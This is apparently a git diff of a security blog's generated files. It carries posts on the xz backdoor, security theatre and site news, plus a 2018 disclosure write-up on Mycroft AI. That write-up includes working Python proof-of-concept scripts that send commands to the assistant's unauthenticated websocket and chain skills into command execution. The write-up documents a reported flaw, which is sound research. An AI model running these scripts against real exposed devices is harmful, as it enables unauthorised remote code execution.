since it was easy to get the role of maintainer of the project and push the malicious code. Since you are using a thirdy-part source for your supply chain, you have to trust someone at one point or another. When talking about supply chain security the reccomendations are always the same: pin the hashes and use signature verification. This will work as long as you have scenarios like a malicious attacker compromising the dependency CICD and pushing a malicious build, account compromissions etc. But what can you do if all of a sudden, trusted maintainers goes rogue? As a standard user, unless you want (and are able to) code review every single commit from every single piece of software your OS interact with: pretty much nothing. On the other hand, developers and repository owners should really increase controls on their supply chain and include strict metrics to exclude high risk packages. One of the biggest gimmicks of Open Source security is people beliving that since the source code is available the code magically became safe. One critical factor often overlooked is the assumption that having access to the source code automatically translates into a larger pool of eyes scrutinizing it for vulnerabilities. The effectiveness of this review process depends on the level of community engagement and the expertise of those inspecting the code, and usually is not much at all. Many projects receive minimal attention from developers, with only a handful of individuals actively contributing or reviewing code changes. As a result, vulnerabilities (intentional or not) may go unnoticed for extended periods, posing significant security risks to users. Every time a discussion like that appears I always remember the InfosectCBR’s “Month of Kali” where Silvio Cesare spent a month popping vulnerabilities on Kali Linux software. But which factors could contribute on minimizing the risks? ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#trust-issues"},{"categories":null,"content":" 4.2 GitHub StatsJust to be clear from the beginning: No, you can’t trust this kind of metrics. There is an hidden market of buying and selling GitHub stats like stars, forks etc. You can read a nice article here: https://dagster.io/blog/fake-stars ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#github-stats"},{"categories":null,"content":" 4.3 Community EngagementEvaluate the size and engagement of the community surrounding the project. A large and active community can provide additional eyes for reviewing code, reporting bugs, and addressing security issues promptly. xz/liblzma had litterally 2 maintainers and one was the malicious actor. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:3","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#community-engagement"},{"categories":null,"content":" 4.4 Funding and SupportConsider whether the project receives financial support or sponsorship from reputable organizations. Projects with dedicated funding tend to have more resources available for security audits and ongoing maintenance. And also are less likely to be completely abandoned. Tip Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:4","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#funding-and-support"},{"categories":null,"content":" 4.5 SDLCA good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval. Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:5","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#sdlc"},{"categories":null,"content":" 4.6 Enterprise vs IndividualThis is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increases the probablity, don’t take it for granted ;) ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:6","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#enterprise-vs-individual"},{"categories":null,"content":" 4.7 Recursive controlsThe project you are including will probably also have dependencies, make sure the same scrutiny is applied by the project maintainers on their supply chain to avoid indirect compromission. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:7","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#recursive-controls"},{"categories":null,"content":" 5 Resources OSS-Security List: https://www.openwall.com/lists/oss-security/2024/03/29/4 Comprehensive timeline: https://boehs.org/node/everything-i-know-about-the-xz-backdoor Compromise link roundup: https://shellsharks.com/xz-compromise-link-roundup Obfuscation Analysis: https://gynvael.coldwind.pl/?lang=en\u0026id=782 Backdoor Analysis: https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504 ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:5:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#resources"},{"categories":["general-knowledge"],"content":"I have seen many companies invest significant time and resources into security measures that have little to no actual effect on security. This is commonly referred to as “security theater”. ","date":"2023-02-13","objectID":"/posts/security-theatre/:0:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#"},{"categories":["general-knowledge"],"content":" 1 What is the Security TheatreSecurity theater refers to the practice of implementing security measures for the sake of appearances, without any significant impact on actual security. These measures may give the illusion of protection, but in reality, they provide little to no real security benefits. Organizations often fall into the trap of focusing solely on compliance requirements without considering their actual security needs. Compliance-driven security measures may give the illusion of being protected, but they often fail to address the specific security risks faced by an organization. Useless compliance can also result in organizations wasting valuable resources on implementing measures that do not have a significant impact on their security posture. This can lead to a situation where an organization is in compliance with regulations, but the security budget is depleted, while their assets are still vulnerable to attacks. Oh, how I love the smell of compliance in the morning. An example of Security Theatre is the use of complex passwords that are changed regularly. Although it may seem like a good idea, it can lead to password fatigue and employees using easier-to-remember passwords, which actually undermines security. This is among the reasons why companies like Microsoft, Apple, and Google are moving away from passwords. fix your password policy Another example of security theatre is implementing security controls that are not properly configured or maintained. For instance, firewalls, IDS and IPS are a common security measure that are often poorly configured or not kept up-to-date with the latest security patches ","date":"2023-02-13","objectID":"/posts/security-theatre/:1:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#what-is-the-security-theatre"},{"categories":["general-knowledge"],"content":" 2 Root causeCybersecurity has become the new gold rush, with numerous individuals and organizations seeking to take advantage of the potential financial gains. However, finding skilled personnel to address these security concerns can be challenging, and relying on consultants can lead to a situation where the organization becomes overly dependent on their expertise. ","date":"2023-02-13","objectID":"/posts/security-theatre/:2:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#root-cause"},{"categories":["general-knowledge"],"content":" 3 Wrapping upOrganizations can protect themselves from the constant security threats by taking a proactive approach. The first step is to gain a thorough understanding of the specific risks they are facing and then implement the necessary measures to mitigate these risks. This includes educating their employees to be aware of potential attacks and how to respond in such situations. In conclusion, to avoid being caught in the trap of “security theater”, organizations must concentrate on establishing practical security measures and regularly evaluate their effectiveness. Having a well-thought-out response plan in place is also critical in ensuring the protection of the organization’s assets. Additionally, organizations should cease creating redundant policies that serve no purpose in enhancing the organization’s overall security posture. Tip Here you can find an interesting article from Phil Venables, Google CISO, about Cerimonial Security and Cargo Cults ","date":"2023-02-13","objectID":"/posts/security-theatre/:3:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#wrapping-up"},{"categories":["blog-news"],"content":"Long time no see, uh? Lot of stuff happen since the last post in 2018 on the old blog. Unfortunately I wasn’t able to write much, both for the lack of time and the impossibility to share what I learned. This post contains an introduction to this new website and how it will work from now on. First of all, I’m still in Security but moved to Product Security (more on this on a later post but TL;DR: boredom, careeer and growth opportunities, frustration and fear of burnout). Fortunately I still have time and resources on my job to conduct vulnerability research so occasionally I will post about interesting vulnerabilities I found. I would also like to talk about security aspects more related to SDLC, so let’s see how it’ll go. ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:0:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#"},{"categories":["blog-news"],"content":" 1 How this blog worksThe setup is pretty simple, I’m using hugo to build static pages and publish them on GitHub pages. There is a Github Action running that builds and deploy the pages every time a PR is approved on the main branch. A graph represeting the logic flow behind the blog deployment system The theme used is LoveIt, it’s pretty cool and rich of features but has few bugs that need to be fixed; for example, if you are using the blog in Italian you can see that the localization is pretty much fucked up. The theme localization it’s a pretty cool feature but having to rewrite the same post for each language is painful, so I’m thinking about adding the support to DeepL. Last but not least, the blog got a new logo: appsec.space logo it was generated by Midjourney and means absolutely nothing! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:1:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#how-this-blog-works"},{"categories":["blog-news"],"content":" 2 The futureWhat’s next, you ask? Well.. a lot of stuff actually. First of all I need to migrate all the posts from the old blog because I would like to retain an archive. Next I can start writing new posts. Note If you get a redirect from the old blog to the new one the process has been completed. Despite being called appsec.space I would like to talk about different topics, spacing from Application Security to Malware Developmemnt (for learning purposes of course), to productivity setup and generic rants, basically turning this blog into my stream of counciousness. The next post will probably talk about the Security Theater. See you then! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:2:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#the-future"},{"categories":["vulnerability-research"],"content":" 1 IntroductionDuring my journey contributing to open source I was working with my friend Matteo De Carlo on an AUR Package of a really interesting project called Mycroft AI. It’s an AI-powered vocal assistant started with a crowdfunding campaign in 2015 and a more recent one that allowed Mycroft to produce their Mark-I and Mark-II devices. It’s also running on Linux Desktop/Server, Raspberry PI and will be available soon™ on Jaguar F-Type and Land Rover ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:1:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#introduction"},{"categories":["vulnerability-research"],"content":" 2 Digging in the source codeWhile looking at the source code I found an interesting point: here ... host = config.get(\"host\") port = config.get(\"port\") route = config.get(\"route\") validate_param(host, \"websocket.host\") validate_param(port, \"websocket.port\") validate_param(route, \"websocket.route\") routes = [ (route, WebsocketEventHandler) ] application = web.Application(routes, **settings) application.listen(port, host) ioloop.IOLoop.instance().start() ... it defines a websocket server that uses to get instructions from the remote clients (like the Android one). The settings for the websocket server are defined in mycroft.conf // The mycroft-core messagebus' websocket \"websocket\": { \"host\": \"0.0.0.0\", \"port\": 8181, \"route\": \"/core\", \"ssl\": false }, So there is a websocket server that doesn’t require authentication that by default is exposed on 0.0.0.0:8181/core. Let’s test it 😉 #!/usr/bin/env python import asyncio import websockets uri = \"ws://myserver:8181/core\" command = \"say pwned\" async def sendPayload(): async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+command+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") asyncio.get_event_loop().run_until_complete(sendPayload()) And magically we have an answer from the vocal assistant saying pwned! Well, now we can have Mycroft pronounce stuff remotely, but this is not a really big finding unless you want to scare your friends, right? WRONG ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:2:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#digging-in-the-source-code"},{"categories":["vulnerability-research"],"content":" 3 The skills systemDigging deeper we can see that Mycroft has a skills system and a default skill that can install others skills (pretty neat, right?) How is a skill composed? From what we can see from the documentation a default skill is composed by: dialog/en-us/command.dialog contains the vocal command that will trigger the skill vocab/en-us/answer.voc contains the answer that Mycroft will pronounce requirements.txt contains the requirements for the skill that will be installed with pip __int__.py contains the main function of the skill and will be loaded when the skill is triggered ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:3:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#the-skills-system"},{"categories":["vulnerability-research"],"content":" 4 What can I do now?I could create a malicious skill that when triggered runs arbitrary code on the remote machine, but unfortunately this is not possible via vocal command unless the URL of the skill is not whitelisted via the online website. So this is possible but will be a little tricky. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#what-can-i-do-now"},{"categories":["vulnerability-research"],"content":" 4.1 So I’m done?Not yet. I found out that I can trigger skills remotely and that is possible to execute commands on a remote machine convincing the user to install a malicious skill. I may have enough to submit a vulnerability report. But maybe I can do a bit better… ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:1","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#so-im-done"},{"categories":["vulnerability-research"],"content":" 5 Getting a remote shell using default skillsWe know that Mycroft has some default skills like open that will open an application and others that are whitelisted but not installed. Reading through to the list, I found a really interesting skill called skill-autogui, whose description says Manipulate your mouse and keyboard with Mycroft. We got it! Let’s try to combine everything we found so far into a PoC: #!/usr/bin/env python import sys import asyncio import websockets import time cmds = [\"mute audio\"] + sys.argv[1:] uri = \"ws://myserver:8181/core\" async def sendPayload(): for payload in cmds: async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+payload+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") time.sleep(1) asyncio.get_event_loop().run_until_complete(sendPayload()) Running the exploit with python pwn.py \"install autogui\" \"open xterm\" \"type echo pwned\" \"press enter\" allowed me to finally get a command execution on a Linux machine. PoC ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:5:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#getting-a-remote-shell-using-default-skills"},{"categories":["vulnerability-research"],"content":" 6 Notes open xterm was needed because my test Linux environment had a DE installed, on a remote server the commands will be executed directly on TTY so this step is not nesessary. The skill branching had a big change and now some skills are not (yet) available (autogui is one of them) but this is not the real point. Mycroft has skills to interact with domotic houses and other services that can still be manipulated (the lack of imagination is the limit here). The vulnerability lies in the lack of authentication for the ws. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:6:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#_notes_"},{"categories":["vulnerability-research"],"content":" 7 Affected devicesAll the devices running Mycroft \u003c= ? with the websocket server exposed (Mark-I has the websocket behind a firewall by default) ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:7:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#affected-devices"},{"categories":["vulnerability-research"],"content":" 8 Timeline 08/03/2018 Vulnerability found 09/03/2018 Vulnerability reported 13/03/2018 The CTO answered that they are aware of this problem and are currently working on a patch 06/06/2018 The CTO said that they have no problem with the release of the vulnerability and will add a warning to remember the user to use a firewall ¯\\_(ツ)_/¯ 09/06/2018 Public disclosure ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:8:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#timeline"},{"categories":null,"content":"My name is Francesco Giordano and I’m a Product Security Engineer with a background in vulnerability reasearch, malware development and offensive security in general. I also like to develop my own frameworks and tools, you can find my work and contributions on my GitHub. I used to run another blog, you can read more about that here ","date":"0001-01-01","objectID":"/about/:0:0","series":null,"tags":null,"title":"About Me","uri":"/about/#"}] \ No newline at end of file diff --git a/index.xml b/index.xml index 3eaff57..dfde321 100644 --- a/index.xml +++ b/index.xml @@ -66,7 +66,7 @@ He was optimizing his infrastructure and found that ssh was suspiciously slow.
  • SUSE Tumbleweed
  • Kali Linux
    • -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers:

    -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

  • 30 Mar 2024:

    • L’estensione di questo breach è ancora poco chiaro di seguito è riportata una (parziale) lista dei componenti che contiengono la versione malevola di xz:

    Distribuzioni:

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    Al momento sappiamo che ci sono dei controlli nel codice della backdoor che riguardano specificatamente le istanze di Linux x86_64/amd64 quindi il numero dei target effettivi potrebbe essere ridotto (relativamente) ma la situazione è poco chiara, non raccomanderei di tenere un pacchetto compromesso sul sistema.

    Le ragioni dietro il blocco dei repository di xz è ancora un mistero per me, specialmente sapendo che con il codice disponibile è possibile anche fare ulteriori analisi e avere uno scenario più chiaro della compromissione.

    Il blocco dell’accesso ai sortgenti di xz è un fattore che rallenterà l’arrivo delle analisi, che è un male in una situazione time-critical come questa.

    La patch strategy per praticamente tutti è stata di forzare il downgrade dalle versioni 5.6.0-5.6.1 ad una precedente. Qualcuno(homebrew, per esempio), ha forzato il downgrade alla versione 5.4.6.

    Questo è interessante perchè sicurametne sappiamo che c’è una backdoor sulle versioni 5.6.0-5.6.1, ma sappiamo anche che l’attaccante ha lavorato sul repository per più di due anni.

    La versione 5.4.6, ad esempio, è stata anch’essa compilata dall’attaccante e non dovrebbe essere considerata safe. Ancora una volta, grazie GitHub per aver bloccato l’accesso ai sorgenti e contribuito a far capire ancora meno la situazione.

    Come ho detto all’inizio del post, non voglio scendere troppo in profondità con l’analisi tecnica della backdoor, per due ragioni principali: con l’accesso al codice sorgente bloccato solo un archivio (al momento della scrittura) è disponibile, le informazioni sono incomplete e non vorrei davvero reversare il binario di xz.

    Inoltre, e questo è il motivo più importante, persone con più conoscienze di me sul modo di operare dei Threat Actors ci stanno già lavorando. Non appena verranno pubblicati i primi articoli tecnici saranno disponibili nella sezione “Risorse”, in fondo alla pagina

    Una cosa che però posso fare qui è mostrare il punto di vista di un Security Engineer sul problema, come avrei mitigato la situazione e quali step sono andati storti.

    Note
    TL;DR: non esiste una reale soluzione al problema

    https://imgs.xkcd.com/comics/dependency_2x.png

    xz è un software mantenuto (fino al 2023) da una singola persona. Successivamente un altro maintainer è arrivato ma sfortunatamente per noi, è la stessa persona che ha inviato la backdoor upstream. Questo ovviamente va in conflitto col fatto che xz sia un pacchetto incredbilimente popolare in tantissime distribuzioni e parte delle dipednenze di numerosi software.

    Probabilmente questo è stato visto dall’attaccante come una miniera d’oro dal momento che risultava facile riuscire a farsi affidare il ruolo di maintainer e pubblicare codice malevolo.

    Dovendo fare affidamento a codice di terze parti per la supply chain, è necessario avere fiducia in qualcuno a un certo punto. Quando si parla di Supply Chain security, le raccomandazioni sono sempre le stesse: pin degli hash e verifica delle firme.

    Questo funziona fino a quando ci troviamo in scenari dove un attaccante ha compromesso la CICD della dipedenza e invia build malevole, un account è stato compromesso etc.

    Ma cosa si può fare se, tutto a un tratto, un maintainer fidato si rivela malevolo?

    Da utente standard, a meno che tu non voglia (e sia capace) di fare code review a ogni singolo commit di ogni singolo pezzo di software con cui interagisce il tuo sistema operativo: più o meno nulla.

    Dall’altro lato, i developers e gli owner dei repsitory dovrebbero aumentare i controlli della loro supply chain includendo metriche più strette al fine di escludere pacchetti con alto rischio.

    Una delle cose più ricorrenti che si sentono quando si parla si Open Source e Security sono le persone che credono che, dal momento che il codice sorgente è disponibile, magicamente risulta sicuro.

    Uno dei fattori spesso trascurato è l’assunzione che avere accesso al sorgente si traduce automaticamente in un pool maggiore di occhi che cercano problemi e vulnerabilità.

    L’efficacia di queste review dipende principamente dal livello di coinvolgimento della community e dall’esperienza delle persone che poi quel codice effettivamente lo leggono, e di solito non è tanto. Molti progetti ricevono pochissima attenzione e solo pochi contribuiscono attivamente ai processi di review. Come risultato, le vulnerabilità (intenzionali o meno) possono passare inosservate per lunghi periodi di tempo, creando un rischio significante per gli utenti.

    Ogni volta che una discussione come questa si riapre, mi torna in mente il “Mese di Kali” di InfosectCBR, dove Silvio Cesare ha passato un mese a trovare e pubblicare vulnerabilità nei software contenuti nei repository di Kali Linux.

    Di seguito riporto una lista (parziale) di fattori che potrebbero contribuire a ridurre il rischio:

    Giusto per essere chiaro fin dall’inizio: No, non si può fare affidamento su queste metriche.

    Esiste un mercato sulla compravendita di statistiche di GitHub come stelle, fork etc. Puoi trovare un buon articolo qui: https://dagster.io/blog/fake-stars

    Valutare sempre la dimensione e l’engagement della community che circonda il progetto.

    Una community grande ed attiva può fornire occhi aggiuntivi sulle code review, i bug report etc.

    xz aveva letteralmente 2 maintainers e uno dei due è risultato essere l’attore malevolo.

    Condsiderare sempre l’aspetto economico del progetto e da chi sta venendo finanziato. I progetti con dei fondi dedicati tendono ad avere risorse aggiuntive per i security audit e la manutenzione del codice e soprattutto è meno probabile che vengano abbandonati.

    Tip
    Ricorda: si vuole fare affidamento su quel codice per l’intera settimana, non solo durante il tempo libero del maintainer. I progetti con un buon supporto finanziario è molto più probabile divengano lavori a tempo pieno che solo hobby da portare avanti sporadicamente.

    Una buona porzione della valutazione dovrebbe concentrarsi sul ciclo si sviluppo del software per assicurarsi che i gate (di sicurezza e qualità più in generale) siano implementati correttamente, le pull request abbiano bisogno di approvazione e ci siano delle pratiche sane che non permettano ad un singolo contributor di inviare codice malevolo senza approvazione.

    Inoltre è necessario tenere in cosiderazione che siamo umani e commettiamo errori. Passare una code review non significa automaticamente che il codice sia sicuro, come ho detto prima: non esiste una vera soluzione al problema, solo modi per abbassare la probabilità che le cose brutte accadano.

    Questo è un argomento abbastanza controverso perchè ci sono progetti mantenuti da persone individuali che sono ben strutturati. -Di solito però, utilizzando cdice prodotto da (grandi) aziende renderà più probabile l’avere delle best practice di sviluppo, avere un continuo stream di fondi per mantenere il progetto in piedi e soprattuto difficilmente una grande azienda metterebbe una backdoor di proposito nel proprio codice. Di nuovo, questo aumenta solo le probabilità, non va preso come concetto assoluto ;)

    Il progetto che stai includendo probabilmente avrà anch’esso delle dipendenze, assicurati che i maintainers applichino a loro volta lo stesso scrutinio sulla loro supply chain per evitare compromissioni indirette.

    Aggiornato il 2024-03-31  -00a5b08
    Leggi Markdown
     Backdoor, CVE-2024-3094, Xz, Liblzma, Supply-Chain, Security-Engineering
    Indietro | Home
    +Di solito però, utilizzando cdice prodotto da (grandi) aziende renderà più probabile l’avere delle best practice di sviluppo, avere un continuo stream di fondi per mantenere il progetto in piedi e soprattuto difficilmente una grande azienda metterebbe una backdoor di proposito nel proprio codice. Di nuovo, questo aumenta solo le probabilità, non va preso come concetto assoluto ;)

    Il progetto che stai includendo probabilmente avrà anch’esso delle dipendenze, assicurati che i maintainers applichino a loro volta lo stesso scrutinio sulla loro supply chain per evitare compromissioni indirette.

    Aggiornato il 2024-03-31  +511d6de
    Leggi Markdown
     Backdoor, CVE-2024-3094, Xz, Liblzma, Supply-Chain, Security-Engineering
    Indietro | Home
    \ No newline at end of file diff --git a/it/posts/xz-backdoor/index.md b/it/posts/xz-backdoor/index.md index 4fe2af7..aa8f6e2 100644 --- a/it/posts/xz-backdoor/index.md +++ b/it/posts/xz-backdoor/index.md @@ -56,7 +56,7 @@ Distribuzioni: - [SUSE Tumbleweed](https://news.opensuse.org/2024/03/29/xz-backdoor/) - [Kali Linux](https://infosec.exchange/@kalilinux/112180505434870941) -Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager: +Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager: - Homebrew - MacPorts - pkgsrc diff --git a/it/sitemap.xml b/it/sitemap.xml index 4f6a09e..cdb118d 100644 --- a/it/sitemap.xml +++ b/it/sitemap.xml @@ -1 +1 @@ -https://appsec.space/it/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/tags/backdoor/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/tags/cve-2024-3094/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/posts/xz-backdoor/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/tags/liblzma/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/posts/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/tags/security-engineering/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/tags/supply-chain/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/tags/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/tags/xz/2024-03-31T11:33:45+02:00weekly1https://appsec.space/it/categories/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/categories/general-knowledge/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/infosec/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/rants/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/posts/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/posts/long-time-no-see/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/updates/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/about/2023-03-21T22:11:59+01:00weekly0.5 \ No newline at end of file +https://appsec.space/it/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/tags/backdoor/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/tags/cve-2024-3094/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/posts/xz-backdoor/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/tags/liblzma/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/posts/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/tags/security-engineering/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/tags/supply-chain/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/tags/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/tags/xz/2024-03-31T11:41:00+02:00weekly1https://appsec.space/it/categories/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/categories/general-knowledge/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/infosec/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/rants/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/posts/security-theatre/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/posts/long-time-no-see/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/tags/updates/2024-03-30T22:00:02+01:00weekly1https://appsec.space/it/about/2023-03-21T22:11:59+01:00weekly0.5 \ No newline at end of file diff --git a/it/tags/backdoor/index.xml b/it/tags/backdoor/index.xml index 64c9dcb..cfa906e 100644 --- a/it/tags/backdoor/index.xml +++ b/it/tags/backdoor/index.xml @@ -72,7 +72,7 @@ Stava ottimizzando la sua infrastruttura e si è accorto che ssh era “sosp
  • SUSE Tumbleweed
  • Kali Linux
    • -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    -

    Il pacchetto con la backdoor è inoltre contenuto nei seguenti package manager:

    +

    Il pacchetto con la backdoor è inoltre contenuto nei repository dei seguenti package manager:

    -

    The backdoored package is also contained in the following package managers:

    +

    The backdoored package is also contained in the repositories of following package managers:

  • 30 Mar 2024:

    • The extent of this breach is still unkown, but here is a (partial) list of components shipping the known malicious version of xz:

    Distributions:

    The backdoored package is also contained in the repositories of following package managers:

    At the moment we know that the there are checks in the backdoor to target Linux instances and only x86_64/amd64 builds so the affected target could be reduced but since the entire situation is unclear I would not reccommend to keep a compromised package on your system.

    The reasons behind the xz repositories lockdown are still a mistery to me, especially knowing that with the source code available additional anaysis on the backdoor could be performed.

    Blocking access to the source code is something that will delay further results, that is honestly really bad for time-critical situation like this one.

    The patch strategy for basically everyone was to force a downgrade from the 5.6.0-5.6.1 to another version.
    Some (homebrew, for example), forced the downgrade to 5.4.6.

    This looks interesting because for sure we know there is a backdoor on that (5.6.0-5.6.1) versions, but we also know that the attacker has been working on the repository for over two years.

    The 5.4.6 version is also builded by the attacker and honestly wouldn’t trust it much. Again, thanks GitHub for locking the access to the source code.

